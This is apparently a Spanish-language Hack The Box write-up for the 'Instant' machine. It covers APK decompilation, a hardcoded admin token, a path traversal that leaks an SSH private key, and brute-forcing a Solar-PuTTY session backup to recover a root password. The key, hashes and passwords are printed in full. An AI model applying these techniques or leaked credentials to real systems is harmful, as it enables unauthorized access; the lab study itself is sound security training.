Hack The Box: Instant Writeup | Medium

Table of Contents

Hack The Box: Instant Writeup

Welcome to my detailed writeup of the medium difficulty machine “Instant” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.252.212 --ulimit 5000 -g
210.129.252.212 -> [22,80]
 1$ nmap -p22,80 -sCV 10.129.252.212 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 19:44 CEST
 3Nmap scan report for 10.129.252.212
 4Host is up (0.048s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
10|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
1180/tcp open  http    Apache httpd 2.4.58
12|_http-server-header: Apache/2.4.58 (Ubuntu)
13|_http-title: Did not follow redirect to http://instant.htb/
14Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 12.10 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.252.212 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 19:45 CEST
 3Nmap scan report for 10.129.252.212
 4Host is up (0.055s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 71060/udp  closed polestar
 822124/udp closed unknown
 922324/udp closed unknown
1024528/udp closed unknown
1128071/udp closed unknown
1264481/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds

Del escaneo inicial encontramos el dominio instant.htb, lo añadimos al /etc/hosts

Como no hay muchos puertos abiertos, vamos a empezar enumerando el servicio HTTP que es el único punto de entrada posible en este caso.

HTTP Enumeration

whatweb no nos reporta nada interesante a parte de un email, support@instant.htb

1$ whatweb http://10.129.252.212
2http://10.129.252.212 [301 Moved Permanently] Apache[2.4.58], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[10.129.252.212], RedirectLocation[http://instant.htb/], Title[301 Moved Permanently]
3http://instant.htb/ [200 OK] Apache[2.4.58], Bootstrap[4.0.0], Country[RESERVED][ZZ], Email[support@instant.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[10.129.252.212], JQuery[3.2.1], Script, Title[Instant Wallet]

El aspecto de la página se ve muy estático. Write-up Image

Fuzzeando recursos no encuentro nada interesante.

Lo único interesante es el link de descarga http://instant.htb/downloads/instant.apk el cual nos descarga una aplicación APK.

Nos vamos a descargar la aplicación.

 1$ wget http://instant.htb/downloads/instant.apk
 2--2024-10-14 19:52:51--  http://instant.htb/downloads/instant.apk
 3Resolving instant.htb (instant.htb)... 10.129.252.212
 4Connecting to instant.htb (instant.htb)|10.129.252.212|:80... connected.
 5HTTP request sent, awaiting response... 200 OK
 6Length: 5415990 (5,2M) [application/vnd.android.package-archive]
 7Saving to: ‘instant.apk’
 8
 9instant.apk            100%[==========================>]   5,17M  8,29MB/s    in 0,6s    
10
112024-10-14 19:52:52 (8,29 MB/s) - ‘instant.apk’ saved [5415990/5415990]

Según los magic numbers es una aplicación para android.

1$ file instant.apk 
2instant.apk: Android package (APK), with gradle app-metadata.properties, with APK Signing Block

Static Analysis

Vamos a descargar jd-gui, un decompilador Java con interfaz gráfica que nos ayuda a investigar el código de las aplicaciones APK. Lo podemos instalar con apt

1$ sudo apt-get install jd-gui

Vamos a crear una copia de la aplicación pero con la extensión .jar

1$ cp instant.apk instant.jar

Esto es porque jd-gui tiene un filtro de extensión de archivos y .apk no está incluido, pero realmente esto es un paquete gradle normal.

En el app-metadata.properties no encontramos nada. Write-up Image

Veo un archivo .gz interesante. Write-up Image

Vamos a instalar apktool con:

1$ sudo apt-get install apktool -y

Esta es otra herramienta para extraer los recursos android. En algunas aplicaciones android es normal que se guarden archivos de configuración, URL de firebase u otras cosas.

 1$ apktool d instant.apk -o instant
 2I: Using Apktool 2.7.0-dirty on instant.apk
 3I: Loading resource table...
 4I: Decoding AndroidManifest.xml with resources...
 5I: Loading resource table from file: /home/pointedsec/.local/share/apktool/framework/1.apk
 6I: Regular manifest package...
 7I: Decoding file-resources...
 8I: Decoding values */* XMLs...
 9I: Baksmaling classes.dex...
10I: Copying assets and libs...
11I: Copying unknown files...
12I: Copying original files...
13I: Copying META-INF/services directory

Ahora en el directorio instant tenemos varios archivos, con un pequeño bucle for podemos buscar por URL’s y encontramos un subdominio mywalletv1.instant.htb

1 for file in $(find -type f); do cat $file | grep "http://" | grep -v "http://schemas"; done
2    const-string v5, "http://"
3    const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
4    const-string v7, "http://mywalletv1.instant.htb/api/v1/view/profile"
5    const-string v1, "http://mywalletv1.instant.htb/api/v1/login"
6    const-string p4, "http://mywalletv1.instant.htb/api/v1/register"
7    const-string v0, "http://mywalletv1.instant.htb/api/v1/initiate/transaction"
8    const-string v1, "http://mywalletv1.instant.htb/api/v1/confirm/pin"

Lo añadimos al /etc/hosts y esto parece que es una API.

Antes de nada vamos a seguir enumerando la aplicación.

Encontramos otro subdominio swagger-ui

1$ for file in $(find -type f); do cat $file | grep "instant.htb"; done
2        <TextView android:textSize="14.0sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_margin="25.0dip" android:text="Please contact support@instant.htb to have your account recovered" android:fontFamily="sans-serif-condensed" android:textAlignment="center" />
3        <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
4        <domain includeSubdomains="true">swagger-ui.instant.htb</domain>

Y aquí tenemos la documentación de la API. Write-up Image

Podemos probar a registrarnos como usuario. Write-up Image

Ahora podemos iniciar sesión. Write-up Image

Se nos devuelve un token JWT. Write-up Image

No vemos nada interesante en el payload del JWT. Write-up Image

Sin embargo hay rutas interesantes pero que solo puede acceder un administrador. Write-up Image

Entonces necesito encontrar una manera de crear una cuenta de administrador.

Volviendo otra vez a la APK, podemos grepear por la cabecera Authorization y vemos varias coincidencias.

 1$ for file in $(find -type f); do cat $file | grep -i "Authorization"; done
 2    value = Lcom/instantlabs/instant/AdminActivities;->TestAdminAuthorization()Ljava/lang/String;
 3.method private TestAdminAuthorization()Ljava/lang/String;
 4    const-string v2, "Authorization"
 5    const-string v7, "Authorization"
 6    const-string v0, "Authorization"
 7    const-string v1, "Authorization"
 8    const-string v1, "Proxy-Authorization"
 9    const-string v1, "Authorization"
10    const-string v0, "Proxy-Authorization"
11    const-string p1, "Authorization"
12    const-string v3, "authorization"
13    const-string v3, "proxy-authorization"

Ahora vamos a hacer lo mismo pero con el parámetro -C de grep para ver 10 líneas por arriba y por abajo.

1$ for file in $(find -type f); do cat $file | grep -i "Authorization" -C 10 ; done

Y encontramos un token JWT. Write-up Image

Comprobando esta cuenta de usuario vemos que tiene el rol de Admin Write-up Image

Enumerating API

Vemos dos usuarios interesantes, uno es el de la cuenta usuario actual y otro es shirohige Write-up Image

Otra función que me llama la atención es la siguiente. Write-up Image

Podemos listar los logs y vemos lo siguiente, el path de usuario, un directorio logs y lo que parece ser el contenido de dentro. 1.log es el único log disponible. Write-up Image

Vemos que podemos leer ese log y que es un log de prueba. Write-up Image

Directory Path Traversal -> Foothold

Si intentamos leer el log utilizando la ruta absoluta no se puede, esto es porque internamente al buscar la ruta, utiliza como referencia la ruta /home/shirohige/logs/, por lo cual, si intentamos utilizar la ruta absoluta realmente estaríamos intentando buscar el archivo /home/shirohige/logs//home/shirohige/logs/1.log y claramente no existe. Write-up Image

El input del usuario no se sanitiza por detrás, por lo cual podemos hacer un Directory Path Traversal y leer archivos que no deberíamos de leer. Write-up Image

Podemos leer la flag de usuario, pero todavía no hemos ganado acceso a la máquina víctima. Write-up Image

Podemos leer la clave privada de este usuario. Write-up Image

Podemos copiar esta clave privada y tratarla para que tenga un formato válido.

 1$ cat id_rsa.shirohige 
 2-----BEGIN RSA PRIVATE KEY-----
 3MIIEpQIBAAKCAQEAt9H//G6UrF2M7/Qtmpwtol/3SnWFMn9umO2psYcvw5yBou1A
 4ErkP/NaSpSi+4/OKBBjrksX+4FubcWsOvMroUmtNaXjpH9DqZrIDus5g1SU4nGeA
 5MZdmdsjAg42oEPD4MSJ4jnVfs8R8KE6GFHEHG4WkLAWn4n+M6nKrnXNsFWG2mAIX
 6idWo1YBtW5QEOxE6choUHD8LZYoHroZrRarrhQAhrbobRBN4txb/Z2LTB1/wL9xC
 7KDZBOKtnzXFUbyviV1XO+DiA8XDwDnubDWEBOPDkQ+hDXNUGnszZfsJxAS0IV208
 8DojG/b0cBVUYPVfVYWhbENH9tyie+4833m5AeQIDAQABAoIBAA5BLzWJ9RE0GftQ
 991O028cVOQ3hn314gKuZoTNT9UIZOhECjpmabKEh70ehKW3E6NrY0d/VEdGf2Ps1
10HvSd/uEb/Wn58d4Wldl2jC/UKZHYgT4uZTRd9hitCFzLQzwOa7i9CxXvsocJbCAL
11YtNlUR9IavWXpLAS+GsFOcYLztcOK0ejXgej8uuXv1bqK8MwnIS4P5RAlrzU/ze5
12z7DqYHEmkmDzB4MisOMtKcaMnYWJ7UnNRbi9x/eLI0Ng4dX4gweou2z6Mvfl2Gbl
13GzCrN+dlR7NexloNnMt3wvpzQV5po9bdu4hji+spBJwJZ9WF54IqoKUYyeo1QoXF
14N0S3nA8CgYEA3p/DKumvOtrae/J3HJkQ1BRmg2kPF+k1rzOpE7V7CD9EAWSSbEpr
15iv6U5ELrdnUNVrsu7VCSInxC+gwKh4myS1n/Qwxo/uOBZMQ5X5z4M5d22cc3Siv/
16uEGNfd4ddW7eBv7AA4nnUPRnYXO75By196GM9QGCqMiiYFJUn/BB0dsCgYEA02D2
17VFmYtE4U0vX4SsW4yQdMtPfJKsgT1UY3Pmypr8PzPYAmOYHedrkaDD8rRVNPQiYx
18sQ5wAgY00uB7d6YY+/gJKYRQh+Jj0lhDBF5QRtZd3qFnzhKJQHDQcwxe1xGBpE8A
19Zhcmrhtr9FwV6joEKn8QKAG4m+55PtpFYSu1mTsCgYEAwRkYQweQy177NZlZAYAu
203ZWYWZFt2xKYUxBfLk4ymjOt+/tNGgru/w/U+6yj6gqbeEhB6uwA5VKdEaASHgAs
21mzlDtNd11uhk2o9tKGbRzoYpO7qVVYuWci7B2JQpPyvb/3tF94vNDSYA6cFmDvVs
22TI9e4UDfISFt3lhrOJM/tBMCgYEAtLf+gmlDrEvhc+fFyy+2Z3DtPP9oJ0J96mao
23zp8aiGJwcNFCXQJSj5B726KaPSAX8Ec1Tto4GxLxUKWKCeahD7OlKbCtJTACBhFd
244rs7yQR3puK6HC4u2EBbhzE5WIjoHPFKNv5uHIbnSjj8p4/IhgiyaHHoQrClSn5U
25uNok3YcCgYEAlZm8q+7OLAbfBsWLZ4m3I9AaPTdIvpPiKBsXesf+BzHR9faswGdb
26f3rKKjk4yuEkA336dZ3KEKRotCulBj33t645z0z1qY3eNczPUap979veWvgjZCCt
27hEitCPPh4xFo+NAkXQU7G7WnR9qtGm1NMaqXAptdURjCw8Idp5TeqYY=
28-----END RSA PRIVATE KEY-----

Le damos los permisos adecuados.

1$ chmod 600 id_rsa.shirohige 

Y ahora por SSH podemos ganar acceso como este usuario en la máquina víctima.

 1$ ssh -i id_rsa.shirohige shirohige@instant.htb
 2The authenticity of host 'instant.htb (10.129.252.212)' can't be established.
 3ED25519 key fingerprint is SHA256:r+JkzsLsWoJi57npPp0MXIJ0/vVzZ22zbB7j3DWmdiY.
 4This key is not known by any other names.
 5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
 6Warning: Permanently added 'instant.htb' (ED25519) to the list of known hosts.
 7Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)
 8
 9 * Documentation:  https://help.ubuntu.com
10 * Management:     https://landscape.canonical.com
11 * Support:        https://ubuntu.com/pro
12
13This system has been minimized by removing packages and content that are
14not required on a system that users do not log into.
15
16To restore this content, you can run the 'unminimize' command.
17shirohige@instant:~$ id
18uid=1001(shirohige) gid=1002(shirohige) groups=1002(shirohige),1001(development)

Privilege Escalation

No vemos otro usuario interesante a parte de shirohige y root

1shirohige@instant:~$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash

Para hacer sudo -l necesito credencial, y no la tengo.

1shirohige@instant:~$ sudo -l
2[sudo] password for shirohige: 

Analizando el directorio projects del usuario, encontramos un archivo .env que contiene una clave secreta.

1shirohige@instant:~/projects/mywallet/Instant-Api/mywallet$ cat .env 
2SECRET_KEY=VeryStrongS3cretKeyY0uC4NTGET

Esta clave no es válida para este usuario, pero bueno, para algo servirá.

1shirohige@instant:~/projects/mywallet/Instant-Api/mywallet$ sudo -l
2[sudo] password for shirohige: 
3Sorry, try again.
4[sudo] password for shirohige: 
5sudo: 1 incorrect password attempt

Vemos un archivo instant.db

1hirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ ls -la
2total 44
3drwxr-xr-x 2 shirohige shirohige  4096 Oct 14 16:13 .
4drwxr-xr-x 5 shirohige shirohige  4096 Oct  4 15:22 ..
5-rw-r--r-- 1 shirohige shirohige 36864 Oct 14 16:13 instant.db

Es una BBDD SQLite 3.

1$ file instant.db
2instant.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 14, database pages 9, cookie 0x3, schema 4, UTF-8, version-valid-for 14

Vemos el hash de la contraseña de este usuario.

1sqlite> select * from wallet_users;
21|instantAdmin|admin@instant.htb|f0eca6e5-783a-471d-9d8f-0162cbc900db|pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978|2024-07-23 00:20:52.529887|87348|Admin|active
32|shirohige|shirohige@instant.htb|458715c9-b15e-467b-8a3d-97bc3fcf3c11|pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed|2024-08-08 20:57:47.909667|42845|instantian|active
43|pointed|pointed@pointed.com|d84ca133-369f-45bc-a652-715aab65dafc|pbkdf2:sha256:600000$rbc6iaE2jCdv3DPG$7aaad442b2631a0685d69ec03069d0d657890620d4a1796576c58f9f7e071f98|2024-10-14 16:13:18.638390|12345|instantian|active

Después de probar no pude crackear este hash, así que será un rabbit-hole.

Decrypting Solar-PuTTY session file

Filtrando por archivos cuyo propietario sea nuestro usuario actual encontramos un archivo interesante.

1shirohige@instant:/$ find -type f -user shirohige 2>/dev/null | grep -v "sys"  | grep -v "proc"

Write-up Image

Podemos intuir que es un archivo exportado de una sesión de Solar-PuTTY, es un cliente SSH, Telnet… Como PuTTY pero mas “moderno”.

Buscando por internet me encontré un PoC para Windows pero también me encontré un artículo muy interesante. https://hackmd.io/@tahaafarooq/cracking-solar-putty

Recomiendo echarle un vistazo, explica como se gestionan las sesiones y la forma tan ridícula que tiene para “encriptar” estas sesiones.

Desgraciadamente necesitamos Windows para poder desencriptar esta sesión ya que utiliza los métodos ProtectedData.Unprotect y esto depende del mecanismo DPAPI de Windows.

Así que vamos a utilizar el PoC de voidsec

Vamos a clonarnos el repositorio.

1C:\Users\pc\Desktop\instant>git clone https://github.com/VoidSec/SolarPuttyDecrypt
2Cloning into 'SolarPuttyDecrypt'...
3remote: Enumerating objects: 32, done.
4remote: Counting objects: 100% (4/4), done.
5remote: Compressing objects: 100% (4/4), done.
6remote: Total 32 (delta 0), reused 0 (delta 0), pack-reused 28 (from 1)
7Receiving objects: 100% (32/32), 79.79 KiB | 1.66 MiB/s, done.
8Resolving deltas: 100% (6/6), done.

Y lo vamos a abrir en Visual Studio Write-up Image

Lo malo es que necesitamos una contraseña para desencriptar la sesión, y por defecto con este programa habría que probarla de una en una.

En resumen lo que hace es lo siguiente.

Desencriptación

4. Procesamiento del Archivo Desencriptado

He modificado el PoC y he creado una versión (fork) para admitir la fuerza bruta. Aquí tenéis el PoC modificado

Simplemente podemos descargarlo, compilarlo y utilizarlo.

  1C:\Users\pc\Desktop\instant\SolarPuttyDecrypt\SolarPuttyDecrypt\bin\Release>.\SolarPuttyDecrypt.exe C:\Users\pc\Desktop\instant\SolarPuttyDecrypt\SolarPuttyDecrypt\bin\Release\sessions-backup.dat C:\Users\pc\Desktop\instant\SolarPuttyDecrypt\SolarPuttyDecrypt\bin\Release\rockyou.txt
  2-----------------------------------------------------
  3SolarPutty's Sessions Decrypter by VoidSec (Brute-Force by pointedsec)
  4-----------------------------------------------------
  5Trying password: 123456
  6Error de desencriptación: Datos incorrectos.
  7Trying password: 12345
  8Error de desencriptación: Datos incorrectos.
  9Trying password: 123456789
 10Error de desencriptación: Datos incorrectos.
 11Trying password: password
 12Error de desencriptación: Datos incorrectos.
 13Trying password: iloveyou
 14Error de desencriptación: Datos incorrectos.
 15Trying password: princess
 16Error de desencriptación: Datos incorrectos.
 17Trying password: 1234567
 18Error de desencriptación: Datos incorrectos.
 19Trying password: rockyou
 20Error de desencriptación: Datos incorrectos.
 21Trying password: 12345678
 22Error de desencriptación: Datos incorrectos.
 23Trying password: abc123
 24Error de desencriptación: Datos incorrectos.
 25Trying password: nicole
 26Error de desencriptación: Datos incorrectos.
 27Trying password: daniel
 28Error de desencriptación: Datos incorrectos.
 29Trying password: babygirl
 30Error de desencriptación: Datos incorrectos.
 31Trying password: monkey
 32Error de desencriptación: Datos incorrectos.
 33Trying password: lovely
 34Error de desencriptación: Datos incorrectos.
 35Trying password: jessica
 36Error de desencriptación: Datos incorrectos.
 37Trying password: 654321
 38Error de desencriptación: Datos incorrectos.
 39Trying password: michael
 40Error de desencriptación: Datos incorrectos.
 41Trying password: ashley
 42Error de desencriptación: Datos incorrectos.
 43Trying password: qwerty
 44Error de desencriptación: Datos incorrectos.
 45Trying password: 111111
 46Error de desencriptación: Datos incorrectos.
 47Trying password: iloveu
 48Error de desencriptación: Datos incorrectos.
 49Trying password: 000000
 50Error de desencriptación: Datos incorrectos.
 51Trying password: michelle
 52Error de desencriptación: Datos incorrectos.
 53Trying password: tigger
 54Error de desencriptación: Datos incorrectos.
 55Trying password: sunshine
 56Error de desencriptación: Datos incorrectos.
 57Trying password: chocolate
 58Error de desencriptación: Datos incorrectos.
 59Trying password: password1
 60Error de desencriptación: Datos incorrectos.
 61Trying password: soccer
 62Error de desencriptación: Datos incorrectos.
 63Trying password: anthony
 64Error de desencriptación: Datos incorrectos.
 65Trying password: friends
 66Error de desencriptación: Datos incorrectos.
 67Trying password: butterfly
 68Error de desencriptación: Datos incorrectos.
 69Trying password: purple
 70Error de desencriptación: Datos incorrectos.
 71Trying password: angel
 72Error de desencriptación: Datos incorrectos.
 73Trying password: jordan
 74Error de desencriptación: Datos incorrectos.
 75Trying password: liverpool
 76Error de desencriptación: Datos incorrectos.
 77Trying password: justin
 78Error de desencriptación: Datos incorrectos.
 79Trying password: loveme
 80Error de desencriptación: Datos incorrectos.
 81Trying password: fuckyou
 82Error de desencriptación: Datos incorrectos.
 83Trying password: 123123
 84Error de desencriptación: Datos incorrectos.
 85Trying password: football
 86Error de desencriptación: Datos incorrectos.
 87Trying password: secret
 88Error de desencriptación: Datos incorrectos.
 89Trying password: andrea
 90Error de desencriptación: Datos incorrectos.
 91Trying password: carlos
 92Error de desencriptación: Datos incorrectos.
 93Trying password: jennifer
 94Error de desencriptación: Datos incorrectos.
 95Trying password: joshua
 96Error de desencriptación: Datos incorrectos.
 97Trying password: bubbles
 98Error de desencriptación: Datos incorrectos.
 99Trying password: 1234567890
100Error de desencriptación: Datos incorrectos.
101Trying password: superman
102Error de desencriptación: Datos incorrectos.
103Trying password: hannah
104Error de desencriptación: Datos incorrectos.
105Trying password: amanda
106Error de desencriptación: Datos incorrectos.
107Trying password: loveyou
108Error de desencriptación: Datos incorrectos.
109Trying password: pretty
110Error de desencriptación: Datos incorrectos.
111Trying password: basketball
112Error de desencriptación: Datos incorrectos.
113Trying password: andrew
114Error de desencriptación: Datos incorrectos.
115Trying password: angels
116Error de desencriptación: Datos incorrectos.
117Trying password: tweety
118Error de desencriptación: Datos incorrectos o formato no válido.
119Trying password: flower
120Error de desencriptación: Datos incorrectos.
121Trying password: playboy
122Error de desencriptación: Datos incorrectos.
123Trying password: hello
124Error de desencriptación: Datos incorrectos.
125Trying password: elizabeth
126Error de desencriptación: Datos incorrectos.
127Trying password: hottie
128Error de desencriptación: Datos incorrectos.
129Trying password: tinkerbell
130Error de desencriptación: Datos incorrectos.
131Trying password: charlie
132Error de desencriptación: Datos incorrectos.
133Trying password: samantha
134Error de desencriptación: Datos incorrectos.
135Trying password: barbie
136Error de desencriptación: Datos incorrectos.
137Trying password: chelsea
138Error de desencriptación: Datos incorrectos.
139Trying password: lovers
140Error de desencriptación: Datos incorrectos.
141Trying password: teamo
142Error de desencriptación: Datos incorrectos.
143Trying password: jasmine
144Error de desencriptación: Datos incorrectos.
145Trying password: brandon
146Error de desencriptación: Datos incorrectos.
147Trying password: 666666
148Error de desencriptación: Datos incorrectos.
149Trying password: shadow
150Error de desencriptación: Datos incorrectos.
151Trying password: melissa
152Error de desencriptación: Datos incorrectos.
153Trying password: eminem
154Error de desencriptación: Datos incorrectos.
155Trying password: matthew
156Error de desencriptación: Datos incorrectos.
157Trying password: robert
158Error de desencriptación: Datos incorrectos.
159Trying password: danielle
160Error de desencriptación: Datos incorrectos.
161Trying password: forever
162Error de desencriptación: Datos incorrectos.
163Trying password: family
164Error de desencriptación: Datos incorrectos.
165Trying password: jonathan
166Error de desencriptación: Datos incorrectos.
167Trying password: 987654321
168Error de desencriptación: Datos incorrectos.
169Trying password: computer
170Error de desencriptación: Datos incorrectos.
171Trying password: whatever
172Error de desencriptación: Datos incorrectos.
173Trying password: dragon
174Error de desencriptación: Datos incorrectos.
175Trying password: vanessa
176Error de desencriptación: Datos incorrectos.
177Trying password: cookie
178Error de desencriptación: Datos incorrectos.
179Trying password: naruto
180Error de desencriptación: Datos incorrectos.
181Trying password: summer
182Error de desencriptación: Datos incorrectos.
183Trying password: sweety
184Error de desencriptación: Datos incorrectos.
185Trying password: spongebob
186Error de desencriptación: Datos incorrectos.
187Trying password: joseph
188Error de desencriptación: Datos incorrectos.
189Trying password: junior
190Error de desencriptación: Datos incorrectos.
191Trying password: softball
192Error de desencriptación: Datos incorrectos.
193Trying password: taylor
194Error de desencriptación: Datos incorrectos.
195Trying password: yellow
196Error de desencriptación: Datos incorrectos.
197Trying password: daniela
198Error de desencriptación: Datos incorrectos.
199Trying password: lauren
200Error de desencriptación: Datos incorrectos.
201Trying password: mickey
202Error de desencriptación: Datos incorrectos.
203Trying password: princesa
204Error de desencriptación: Datos incorrectos.
205Trying password: alexandra
206Error de desencriptación: Datos incorrectos.
207Trying password: alexis
208Error de desencriptación: Datos incorrectos.
209Trying password: jesus
210Error de desencriptación: Datos incorrectos.
211Trying password: estrella
212[+] Password found: estrella
213-----------------------------------------------------
214[+] DONE Decrypted file is saved in: C:\Users\pc\Desktop\SolarPutty_sessions_decrypted.txt

Vemos que la credencial era estrella.

Ahora podemos comprobar este archivo que en principio debe de ser un JSON válido.

Lo malo que el JSON está en una sola línea, vamos a utilizar jsonformatter para copiar y pegar el JSON y lo vemos bien formateado. Write-up Image

Y vemos esta parte en el JSON.

 1"Credentials": [
 2    {
 3      "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
 4      "CredentialsName": "instant-root",
 5      "Username": "root",
 6      "Password": "12**24nzC!r0c%q12",
 7      "PrivateKeyPath": "",
 8      "Passphrase": "",
 9      "PrivateKeyContent": null
10    }
11  ],

Y ya podemos migrar al usuario root

1shirohige@instant:/opt/backups/Solar-PuTTY$ su root
2Password: 
3root@instant:/opt/backups/Solar-PuTTY# id
4uid=0(root) gid=0(root) groups=0(root)

Podemos leer la flag de root

1root@instant:~# cat root.txt 
24e1c549df07e76...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Instant   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #APK Static Analysis   #API Enumeration   #Information Disclosure   #Directory Path Traversal   #Decrypting Solar-PuTTY Session   #Scripting